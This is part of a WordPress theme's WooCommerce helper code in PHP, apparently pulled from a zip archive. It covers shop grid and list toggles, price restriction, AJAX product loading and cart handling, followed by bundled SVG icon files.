                    </svg>
                </a>
			<?php endif ?>

			<?php if ( $per_row_selector && $per_row_options ) : ?>
				<?php foreach ( $products_per_row_options as $key => $value ) : ?>
					<?php
					if ( 0 === $value ) {
						continue;
					}

					$classes = '';
					$args    = array(
						'shop_view' => 'grid',
						'per_row'   => $value,
					);

					if ( $is_element ) {
						$args['shortcode'] = true;
					}

					$current_columns = null;

					if ( empty( $_GET['per_row'] ) ) {
						$current_columns = wc_get_loop_prop( 'columns' );
					}

					if ( 'list' !== $current_shop_view && ( (int) $value === (int) $current_per_row && ! $is_element ) || ( $is_element && isset( $_GET['per_row'] ) && $_GET['per_row'] === $value ) ) { // phpcs:ignore
						$classes .= ' current-variation';
					}

					$classes .= ' per-row-' . $value;

					$link = add_query_arg( $args, penci_shop_page_link( true ) );
					?>

                    <a title="<?php echo sprintf( esc_attr__( 'Show %s columns', 'soledad' ), $value ); ?>"
                       rel="nofollow noopener"
                       href="<?php echo esc_url( $link ); ?>"
                       class="shop-view<?php echo esc_attr( $classes ); ?>">
                        <svg class="icon">
                            <use xlink:href="#columns-<?php echo esc_attr( $value ); ?>"/>
                        </svg>
                    </a>
				<?php endforeach; ?>
			<?php endif ?>
            <div hidden>
                <svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
                    <symbol id="columns-2" viewBox="0 0 444 444"><title>columns-2</title>
                        <path d="m7 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                        <path d="m256 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                        <path d="m7 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                        <path d="m256 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                    </symbol>
                    <symbol id="columns-3" viewBox="0 0 512 512"><title>columns-3</title>
                        <g>
                            <g>
                                <rect x="180.67" y="361.33" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="180.67" y="180.66" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="361.33" width="150.67" height="150.66"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect y="180.66" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="361.33" y="180.66" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect y="361.33" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="361.33" y="361.33" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect width="150.67" height="150.66"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="180.67" width="150.67" height="150.66"/>
                            </g>
                        </g>
                    </symbol>
                    <symbol id="columns-4" viewBox="0 0 397.061 397.061"><title>columns-4</title>
                        <rect x="104.49" y="208.98" width="83.592" height="83.592"/>
                        <rect x="104.49" y="0" width="83.592" height="83.592"/>
                        <rect x="104.49" y="313.469" width="83.592" height="83.592"/>
                        <rect x="104.49" y="104.49" width="83.592" height="83.592"/>
                        <rect x="5.224" y="208.98" width="78.367" height="83.592"/>
                        <rect x="5.224" y="313.469" width="78.367" height="83.592"/>
                        <rect x="5.224" y="0" width="78.367" height="83.592"/>
                        <rect x="5.224" y="104.49" width="78.367" height="83.592"/>
                        <rect x="208.98" y="208.98" width="83.592" height="83.592"/>
                        <rect x="313.469" y="104.49" width="78.367" height="83.592"/>
                        <rect x="313.469" y="208.98" width="78.367" height="83.592"/>
                        <rect x="313.469" y="0" width="78.367" height="83.592"/>
                        <rect x="208.98" y="313.469" width="83.592" height="83.592"/>
                        <rect x="208.98" y="104.49" width="83.592" height="83.592"/>
                        <rect x="208.98" y="0" width="83.592" height="83.592"/>
                        <rect x="313.469" y="313.469" width="78.367" height="83.592"/>
                    </symbol>
                    <symbol id="columns-5" viewBox="0 0 24 19">
                        <rect width="4" height="4"/>
                        <rect x="5" width="4" height="4"/>
                        <rect x="10" width="4" height="4"/>
                        <rect x="15" width="4" height="4"/>
                        <rect x="20" width="4" height="4"/>
                        <rect y="5" width="4" height="4"/>
                        <rect x="5" y="5" width="4" height="4"/>
                        <rect x="10" y="5" width="4" height="4"/>
                        <rect x="15" y="5" width="4" height="4"/>
                        <rect x="20" y="5" width="4" height="4"/>
                        <rect y="10" width="4" height="4"/>
                        <rect x="5" y="10" width="4" height="4"/>
                        <rect x="10" y="10" width="4" height="4"/>
                        <rect x="15" y="10" width="4" height="4"/>
                        <rect x="20" y="10" width="4" height="4"/>
                        <rect y="15" width="4" height="4"/>
                        <rect x="5" y="15" width="4" height="4"/>
                        <rect x="10" y="15" width="4" height="4"/>
                        <rect x="15" y="15" width="4" height="4"/>
                        <rect x="20" y="15" width="4" height="4"/>
                    </symbol>
                    <symbol id="columns-6" viewBox="0 0 23 19">
                        <rect width="3" height="4"/>
                        <rect x="4" width="3" height="4"/>
                        <rect x="8" width="3" height="4"/>
                        <rect x="12" width="3" height="4"/>
                        <rect x="16" width="3" height="4"/>
                        <rect x="20" width="3" height="4"/>
                        <rect y="5" width="3" height="4"/>
                        <rect x="4" y="5" width="3" height="4"/>
                        <rect x="8" y="5" width="3" height="4"/>
                        <rect x="12" y="5" width="3" height="4"/>
                        <rect x="16" y="5" width="3" height="4"/>
                        <rect x="20" y="5" width="3" height="4"/>
                        <rect y="10" width="3" height="4"/>
                        <rect x="4" y="10" width="3" height="4"/>
                        <rect x="8" y="10" width="3" height="4"/>
                        <rect x="12" y="10" width="3" height="4"/>
                        <rect x="16" y="10" width="3" height="4"/>
                        <rect x="20" y="10" width="3" height="4"/>
                        <rect y="15" width="3" height="4"/>
                        <rect x="4" y="15" width="3" height="4"/>
                        <rect x="8" y="15" width="3" height="4"/>
                        <rect x="12" y="15" width="3" height="4"/>
                        <rect x="16" y="15" width="3" height="4"/>
                        <rect x="20" y="15" width="3" height="4"/>
                    </symbol>
                    <symbol id="list" viewBox="0 0 512 512"><title>list</title>
                        <g>
                            <g>
                                <path d="M501.333,42.667H138.667c-5.888,0-10.667,4.779-10.667,10.667S132.779,64,138.667,64h362.667 C507.221,64,512,59.221,512,53.333S507.221,42.667,501.333,42.667z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M352,106.667H138.667c-5.888,0-10.667,4.779-10.667,10.667S132.779,128,138.667,128H352 c5.888,0,10.667-4.779,10.667-10.667S357.888,106.667,352,106.667z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M501.333,213.333H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667h362.667 c5.888,0,10.667-4.779,10.667-10.667S507.221,213.333,501.333,213.333z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M352,277.333H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667H352 c5.888,0,10.667-4.779,10.667-10.667S357.888,277.333,352,277.333z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M501.333,384H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667h362.667 c5.888,0,10.667-4.779,10.667-10.667S507.221,384,501.333,384z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M352,448H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667H352 c5.888,0,10.667-4.779,10.667-10.667S357.888,448,352,448z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <circle cx="42.667" cy="85.333" r="42.667"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <circle cx="42.667" cy="256" r="42.667"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <circle cx="42.667" cy="426.667" r="42.667"/>
                            </g>
                        </g>
                    </symbol>
                </svg>
            </div>
        </div>
		<?php
	}

	public function product_categories_link() {
		global $product;

		if ( ! wc_get_loop_prop( 'loop_categories', true ) ) {
			return;
		}

		$terms = get_the_terms( $product->get_id(), 'product_cat' );

		if ( ! $terms ) {
			return;
		}

		$terms_array = array();
		$parent      = array();
		$child       = array();
		$links       = array();

		foreach ( $terms as $term ) {
			$terms_array[ $term->term_id ] = $term;

			if ( ! $term->parent ) {
				$parent[ $term->term_id ] = $term->name;
			}
		}

		foreach ( $terms as $term ) {
			if ( $term->parent ) {
				unset( $parent[ $term->parent ] );

				if ( array_key_exists( $term->parent, $terms_array ) ) {
					$child[ $term->parent ] = get_term( $term->parent )->name;
				}

				$child[ $term->term_id ] = $term->name;
			}
		}

		$terms = $child + $parent;

		foreach ( $terms as $key => $value ) {
			$links[] = '<a href="' . esc_url( get_term_link( $key ) ) . '" rel="tag">' . esc_html( $value ) . '</a>';
		}

		?>
        <div class="penci-product-cats">
			<?php echo implode( ', ', $links ); // phpcs:ignore ?>
        </div>
		<?php
	}

	public function login_to_see_price() {
		$restrict_price = get_theme_mod( 'penci_woocommerce_restrict_cart_price', false );
		if ( ! is_user_logged_in() && $restrict_price ) {
			add_filter( 'woocommerce_get_price_html', array( $this, 'login_to_see_price_html' ) );
			add_filter( 'woocommerce_loop_add_to_cart_link', '__return_false' );

			// Add to cart btns
			remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
			remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );
		}
	}

	public function login_to_see_price_html() {
		$restrict_price = get_theme_mod( 'penci_woocommerce_restrict_cart_price', false );
		if ( ! is_user_logged_in() && $restrict_price ) {
			return '<a href="' . esc_url( get_permalink( wc_get_page_id( 'myaccount' ) ) ) . '" class="restrict-price-tag">' . penci_woo_translate_text( 'penci_woo_trans_lgtspr' ) . '</a>';
		}
	}

	public function top_catalog_product_filter() {
		?>

        <div id="penci-top-product-filter" class="penci-top-product-filter">
			<?php dynamic_sidebar( 'penci-shop-sidebar' ); ?>
        </div>

		<?php
	}

	public function top_catalog_product_filter_trigger() {
		if ( ! get_theme_mod( 'pencidesign_woo_filter_widget_enable', true ) ) {
			return false;
		}
		?>
        <div class="penci-product-top-filter-button">
            <a class="penci-filter-button"
               title="<?php echo penci_woo_translate_text( 'penci_woo_trans_sidebar_filter' ); ?>"
               href="#penci-top-product-filter">
                <i>
                    <svg enable-background="new 0 0 512 512" height="20" viewBox="0 0 512 512" width="20"
                         xmlns="http://www.w3.org/2000/svg">
                        <g>
                            <path d="m90.5 0h-30v362h-30v90h30v60h30v-60h30v-90h-30zm0 422h-30v-30h30z"/>
                            <path d="m481.5 362h-30v-362h-30v362h-30v90h30v60h30v-60h30zm-30 60h-30v-30h30z"/>
                            <path d="m331.5 0h-30v222h-30v90h30v200h30v-200h30v-90h-30zm0 282h-30v-30h30z"/>
                            <path d="m210.5 0h-30v53.652h-30v90h30v368.348h30v-368.348h30v-90h-30zm0 113.652h-30v-30h30z"/>
                        </g>
                    </svg>
                </i>
                <span><?php echo penci_woo_translate_text( 'penci_woo_trans_sidebar_filter' ); ?></span>
            </a>
        </div>
		<?php
	}

	public function ajax_load_products() {
		$preloader = isset( $_GET['preloader'] ) ? $_GET['preloader'] : false;
		$nonce     = isset( $_REQUEST['requestid'] ) ? $_REQUEST['requestid'] : false;
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( __( 'Ooppppp', 'soledad' ) );
		} elseif ( ! empty( $_GET['settings'] ) ) {
			penci_elementor_products_template( $_GET['settings'], $preloader );
			die();
		}
	}

	public function product_sale_countdown() {
		global $product;
		$sale_date_end   = get_post_meta( $product->get_id(), '_sale_price_dates_to', true );
		$sale_date_start = get_post_meta( $product->get_id(), '_sale_price_dates_from', true );

		if ( $product->get_type() == 'variable' ) {
			// Variations cache
			$cache                = apply_filters( 'pencicountdown_variable_cache', true );
			$transient_name       = 'pencicountdown_variable_cache_' . $product->get_id();
			$available_variations = array();

			if ( $cache ) {
				$available_variations = get_transient( $transient_name );
			}

			if ( ! $available_variations ) {
				$available_variations = $product->get_available_variations();
				if ( $cache ) {
					set_transient( $transient_name, $available_variations, apply_filters( 'pencicountdown_variable_cache_time', WEEK_IN_SECONDS ) );
				}
			}

			if ( $available_variations ) {
				$sale_date_end   = get_post_meta( $available_variations[0]['variation_id'], '_sale_price_dates_to', true );
				$sale_date_start = get_post_meta( $available_variations[0]['variation_id'], '_sale_price_dates_from', true );
			}
		}

		$curent_date = strtotime( date( 'Y-m-d H:i:s' ) );

		if ( $sale_date_end < $curent_date || $curent_date < $sale_date_start ) {
			return;
		}

		$timezone = 'GMT';

		if ( apply_filters( 'penciwp_timezone', false ) ) {
			$timezone = wc_timezone_string();
		}

		wp_enqueue_script( 'woo-countdown' );

		echo '<div class="penci-product-countdown penci-time-countdown" data-end-date="' . esc_attr( date( 'Y-m-d H:i:s', $sale_date_end ) ) . '" data-timezone="' . $timezone . '"></div>';
	}

	public function mobile_nav_menu() {
		if ( penci_is_shop_archive() ) {
			wc_get_template_part( 'global/mobile-bottom-nav' );
		}
	}

	public function mobile_menu_filter( $items, $args ) {
		$menu_id = get_theme_mod( 'penci_woo_mobile_nav_menu' );
		if ( penci_is_shop_catelog() && $args->menu == $menu_id ) {
			$items .= '<li class="cart-filter"><a href="#sidebar-product-filter"><i class="fa fa-filter" aria-hidden="true"></i>' . penci_woo_translate_text( 'penci_woo_trans_fasort' ) . '</a></li>';
		}

		return $items;
	}

	public function get_product_info() {
		$data = array();
		if ( isset( $_REQUEST['requestid'] ) && isset( $_REQUEST['id'] ) && wp_verify_nonce( $_REQUEST['requestid'], 'ajax-nonce' ) ) {

			$id = $_REQUEST['id'];

			$data = array(
				'title'     => get_the_title( $id ),
				'item_link' => get_the_permalink( $id ),
				'img'       => get_the_post_thumbnail_url( $id, 'woocommerce_gallery_thumbnail' ),
			);
		}
		wp_send_json_success(
			$data,
			200
		);
	}

	public function empty_cart_message() {
		?>
        <div class="woocommerce-content-wrapper">
            <div class="penci-empty-cart penci-empty-page penci-empty-page-text">
                <h3 class="penci-compare-empty-title"><?php echo penci_woo_translate_text( 'penci_woo_cart_empty_title' ) ?></h3>
				<?php echo penci_woo_translate_text( 'penci_woo_cart_empty_textarea' ) ?>
            </div>
        </div>
		<?php
	}

	public function mobile_cart_totals() {
		echo '<span class="penci-mobile-cart-item current-item">' . WC()->cart->get_cart_contents_count() . '</span>';
	}

	public function mobile_cart_totals_fragment( $fragments ) {
		global $woocommerce;

		ob_start();

		?>
        <span class="penci-mobile-cart-item current-item"><?php echo esc_attr( $woocommerce->cart->cart_contents_count ); ?></span>
		<?php
		$fragments['span.penci-mobile-cart-item.current-item'] = ob_get_clean();

		return $fragments;
	}

	public function penci_add_to_cart_variable() {
		ob_start();

		$product_id   = apply_filters( 'woocommerce_add_to_cart_product_id', absint( $_POST['product_id'] ) );
		$quantity     = empty( $_POST['quantity'] ) ? 1 : apply_filters( 'woocommerce_stock_amount', $_POST['quantity'] );
		$variation_id = $_POST['variation_id'];

		$cart_item_data = $_POST;
		unset( $cart_item_data['quantity'] );

		$variation = array();

		foreach ( $cart_item_data as $key => $value ) {
			if ( preg_match( "/^attribute*/", $key ) ) {
				$variation[ $key ] = $value;
			}
		}

		foreach ( $variation as $key => $value ) {
			$variation[ $key ] = stripslashes( $value );
		}
		$passed_validation = apply_filters( 'woocommerce_add_to_cart_validation', true, $product_id, $quantity );

		if ( $passed_validation && WC()->cart->add_to_cart( $product_id, $quantity, $variation_id, $variation, $cart_item_data ) ) {
			do_action( 'woocommerce_ajax_added_to_cart', $product_id );
			if ( get_option( 'woocommerce_cart_redirect_after_add' ) == 'yes' ) {
				wc_add_to_cart_message( $product_id );
			}
			global $woocommerce;
			$items = $woocommerce->cart->get_cart();
			wc_setcookie( 'woocommerce_items_in_cart', count( $items ) );
			wc_setcookie( 'woocommerce_cart_hash', md5( json_encode( $items ) ) );
			do_action( 'woocommerce_set_cart_cookies', true );
			// Return fragments
			WC_AJAX::get_refreshed_fragments();

		} else {

			// If there was an error adding to the cart, redirect to the product page to show any errors
			$data = array(
				'error'       => true,
				'product_url' => apply_filters( 'woocommerce_cart_redirect_after_error', get_permalink( $product_id ), $product_id )
			);
			wp_send_json_error( $data );
		}
	}

	public function blog_search_result() {
		if ( ! is_search() || ! get_theme_mod( 'penci_woocommerce_search_included_posts', true ) ) {
			return;
		}

		$search_query = get_search_query();
		$args         = [ 'search_query' => $search_query ];
		get_template_part( 'woocommerce/content', 'blog-search', $args );
	}

	public function product_search_result() {
		if ( ! is_search() || ! apply_filters( 'penci_enable_product_post_search', false ) ) {
			return;
		}
		$search_query = get_search_query();
		penci_elementor_products_template( [ 'search_query' => $search_query ] );
	}
}

$penci_product_misc = new penci_product_misc;
PK     N\͝      inc/woocommerce/svg/list.svgnu [        <svg enable-background="new 0 0 24 24" height="512" viewBox="0 0 24 24" width="512" xmlns="http://www.w3.org/2000/svg">
    <path d="m5 0h-4c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h4c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m23 0h-14c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h14c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m5 9h-4c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h4c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m23 9h-14c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h14c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m5 18h-4c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h4c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m23 18h-14c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h14c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
</svg>
PK     N\_    !  inc/woocommerce/svg/3-columns.svgnu [        <?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 19.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" x="0px"
     y="0px"
     viewBox="0 0 512 512" style="enable-background:new 0 0 512 512;" xml:space="preserve">
<g>
	<g>
		<rect x="180.67" y="361.33" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="180.67" y="180.66" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="361.33" width="150.67" height="150.66"/>
	</g>
</g>
    <g>
	<g>
		<rect y="180.66" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="361.33" y="180.66" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect y="361.33" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="361.33" y="361.33" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect width="150.67" height="150.66"/>
	</g>
</g>
    <g>
	<g>
		<rect x="180.67" width="150.67" height="150.66"/>
	</g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
</svg>
PK     N\ J    !  inc/woocommerce/svg/4-columns.svgnu [        <?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 19.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" x="0px"
     y="0px"
     viewBox="0 0 397.061 397.061" style="enable-background:new 0 0 397.061 397.061;" xml:space="preserve">
<g>
	<g>
		<g>
			<rect x="104.49" y="208.98" width="83.592" height="83.592"/>
            <rect x="104.49" y="0" width="83.592" height="83.592"/>
            <rect x="104.49" y="313.469" width="83.592" height="83.592"/>
            <rect x="104.49" y="104.49" width="83.592" height="83.592"/>
            <rect x="5.224" y="208.98" width="78.367" height="83.592"/>
            <rect x="5.224" y="313.469" width="78.367" height="83.592"/>
            <rect x="5.224" y="0" width="78.367" height="83.592"/>
            <rect x="5.224" y="104.49" width="78.367" height="83.592"/>
            <rect x="208.98" y="208.98" width="83.592" height="83.592"/>
            <rect x="313.469" y="104.49" width="78.367" height="83.592"/>
            <rect x="313.469" y="208.98" width="78.367" height="83.592"/>
            <rect x="313.469" y="0" width="78.367" height="83.592"/>
            <rect x="208.98" y="313.469" width="83.592" height="83.592"/>
            <rect x="208.98" y="104.49" width="83.592" height="83.592"/>
            <rect x="208.98" y="0" width="83.592" height="83.592"/>
            <rect x="313.469" y="313.469" width="78.367" height="83.592"/>
		</g>
	</g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
</svg>
PK     N\ke      inc/woocommerce/svg/filter.svgnu [        <svg enable-background="new 0 0 512 512" height="512" viewBox="0 0 512 512" width="512"
     xmlns="http://www.w3.org/2000/svg">
    <g>
        <path d="m90.5 0h-30v362h-30v90h30v60h30v-60h30v-90h-30zm0 422h-30v-30h30z"/>
        <path d="m481.5 362h-30v-362h-30v362h-30v90h30v60h30v-60h30zm-30 60h-30v-30h30z"/>
        <path d="m331.5 0h-30v222h-30v90h30v200h30v-200h30v-90h-30zm0 282h-30v-30h30z"/>
        <path d="m210.5 0h-30v53.652h-30v90h30v368.348h30v-368.348h30v-90h-30zm0 113.652h-30v-30h30z"/>
    </g>
</svg>
PK     N\yJ      inc/woocommerce/svg/sort.svgnu [        <!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"><head><meta name="viewport" content="width=device-width" /><title>file:///Volumes/Data/Downloads/ascending-sort.svg</title><link rel="stylesheet" type="text/css" href="resource://content-accessible/viewsource.css" /></head><body id="viewsource" class="highlight" style="tab-size: 4"><pre id="line1"><span></span><span class="pi">&lt;?xml version="1.0" encoding="iso-8859-1"?&gt;</span><span>
<span id="line2"></span></span><span class="comment">&lt;!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  --&gt;</span><span>
<span id="line3"></span></span><span class="error doctype" title="Stray doctype.">&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;</span><span>
<span id="line4"></span></span><span>&lt;<span class="start-tag">svg</span> <span class="attribute-name">version</span>="<a class="attribute-value">1.1</a>" <span class="attribute-name">id</span>="<a class="attribute-value">Capa_1</a>" <span class="attribute-name">xmlns</span>="<a class="attribute-value">http://www.w3.org/2000/svg</a>" <span class="attribute-name">xmlns:xlink</span>="<a class="attribute-value">http://www.w3.org/1999/xlink</a>" <span class="attribute-name">x</span>="<a class="attribute-value">0px</a>" <span class="attribute-name">y</span>="<a class="attribute-value">0px</a>"
<span id="line5"></span>	 <span class="attribute-name">viewBox</span>="<a class="attribute-value">0 0 301.219 301.219</a>" <span class="attribute-name">style</span>="<a class="attribute-value">enable-background:new 0 0 301.219 301.219;</a>" <span class="attribute-name">xml:space</span>="<a class="attribute-value">preserve</a>"&gt;</span><span>
<span id="line6"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line7"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M159.365,23.736v-10c0-5.523-4.477-10-10-10H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h139.365
<span id="line8"></span>		C154.888,33.736,159.365,29.259,159.365,23.736z</a>"<span>/</span>&gt;</span><span>
<span id="line9"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M130.586,66.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h120.586c5.523,0,10-4.477,10-10v-10
<span id="line10"></span>		C140.586,71.213,136.109,66.736,130.586,66.736z</a>"<span>/</span>&gt;</span><span>
<span id="line11"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M111.805,129.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h101.805c5.523,0,10-4.477,10-10v-10
<span id="line12"></span>		C121.805,134.213,117.328,129.736,111.805,129.736z</a>"<span>/</span>&gt;</span><span>
<span id="line13"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M93.025,199.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h83.025c5.522,0,10-4.477,10-10v-10
<span id="line14"></span>		C103.025,204.213,98.548,199.736,93.025,199.736z</a>"<span>/</span>&gt;</span><span>
<span id="line15"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M74.244,262.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h64.244c5.522,0,10-4.477,10-10v-10
<span id="line16"></span>		C84.244,267.213,79.767,262.736,74.244,262.736z</a>"<span>/</span>&gt;</span><span>
<span id="line17"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M298.29,216.877l-7.071-7.071c-1.875-1.875-4.419-2.929-7.071-2.929c-2.652,0-5.196,1.054-7.072,2.929l-34.393,34.393
<span id="line18"></span>		V18.736c0-5.523-4.477-10-10-10h-10c-5.523,0-10,4.477-10,10v225.462l-34.393-34.393c-1.876-1.875-4.419-2.929-7.071-2.929
<span id="line19"></span>		c-2.652,0-5.196,1.054-7.071,2.929l-7.072,7.071c-3.904,3.905-3.904,10.237,0,14.142l63.536,63.536
<span id="line20"></span>		c1.953,1.953,4.512,2.929,7.071,2.929c2.559,0,5.119-0.976,7.071-2.929l63.536-63.536
<span id="line21"></span>		C302.195,227.113,302.195,220.781,298.29,216.877z</a>"<span>/</span>&gt;</span><span>
<span id="line22"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line23"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line24"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line25"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line26"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line27"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line28"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line29"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line30"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line31"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line32"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line33"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line34"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line35"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line36"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line37"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line38"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line39"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line40"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line41"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line42"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line43"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line44"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line45"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line46"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line47"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line48"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line49"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line50"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line51"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line52"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line53"></span></span><span>&lt;/<span class="end-tag">svg</span>&gt;</span><span>
<span id="line54"></span></span></pre></body></html>PK     N\r-
    !  inc/woocommerce/svg/2-columns.svgnu [        <svg height="444pt" viewBox="0 0 444 444" width="444pt" xmlns="http://www.w3.org/2000/svg">
    <path d="m7 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
